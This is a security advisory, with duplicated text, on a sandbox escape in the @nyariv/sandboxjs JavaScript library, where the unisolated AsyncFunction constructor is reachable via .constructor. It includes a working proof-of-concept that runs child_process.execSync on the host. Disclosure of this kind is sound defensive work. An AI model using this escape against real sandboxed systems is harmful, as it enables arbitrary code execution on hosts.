Summary
A sandbox escape vulnerability due to AsyncFunction not being isolated in SandboxFunction
Details
The library attempts to sandbox code execution by replacing the global Function constructor with a safe, sandboxed version (SandboxFunction). This is handled in utils.ts by mapping Function to sandboxFunction within a map used for lookups.
However, the library did not include mappings for AsyncFunction, GeneratorFunction, and AsyncGeneratorFunction. These constructors are not global properties but can be accessed via the .constructor property of an instance (e.g., (async () => {}).constructor).
In executor.ts, property access is handled. When code running inside the sandbox accesses .constructor on an async function (which the sandbox allows creating), the executor retrieves the property value. Since AsyncFunction was not in the safe-replacement map, the executor returns the actual native host AsyncFunction constructor.
Constructors for functions in JavaScript (like Function, AsyncFunction) create functions that execute in the global scope. By obtaining the host AsyncFunction constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution).
PoC
const sandbox = require('@nyariv/sandboxjs');
const s = new sandbox.default();
const payload = `
const af = async () => {};
// .constructor returns the host AsyncFunction constructor because it's not intercepted
const AsyncConstructor = af.constructor;
console.log("AsyncConstructor name:", AsyncConstructor.name);
// Create a function that executes outside the sandbox
const func = AsyncConstructor("return process.mainModule.require('child_process').execSync('id').toString()");
// Execute RCE
const p = func();
p.then(proc => {
console.log(proc);
});
`;
try {
s.compile(payload)().run();
} catch (e) {
console.error("Bypass failed:", e.message);
}
Run above script in nodejs. If you run it in browser, change the AsyncConstructor argument by returning window object.
Impact
A Remote Code Execution, attacker may be able to run an arbitrary code.
References
Summary
A sandbox escape vulnerability due to
AsyncFunctionnot being isolated inSandboxFunctionDetails
The library attempts to sandbox code execution by replacing the global
Functionconstructor with a safe, sandboxed version (SandboxFunction). This is handled inutils.tsby mappingFunctiontosandboxFunctionwithin a map used for lookups.However, the library did not include mappings for
AsyncFunction,GeneratorFunction, andAsyncGeneratorFunction. These constructors are not global properties but can be accessed via the.constructorproperty of an instance (e.g.,(async () => {}).constructor).In
executor.ts, property access is handled. When code running inside the sandbox accesses.constructoron an async function (which the sandbox allows creating), theexecutorretrieves the property value. SinceAsyncFunctionwas not in the safe-replacement map, theexecutorreturns the actual native hostAsyncFunctionconstructor.Constructors for functions in JavaScript (like
Function,AsyncFunction) create functions that execute in the global scope. By obtaining the hostAsyncFunctionconstructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution).PoC
Run above script in nodejs. If you run it in browser, change the
AsyncConstructorargument by returningwindowobject.Impact
A Remote Code Execution, attacker may be able to run an arbitrary code.
References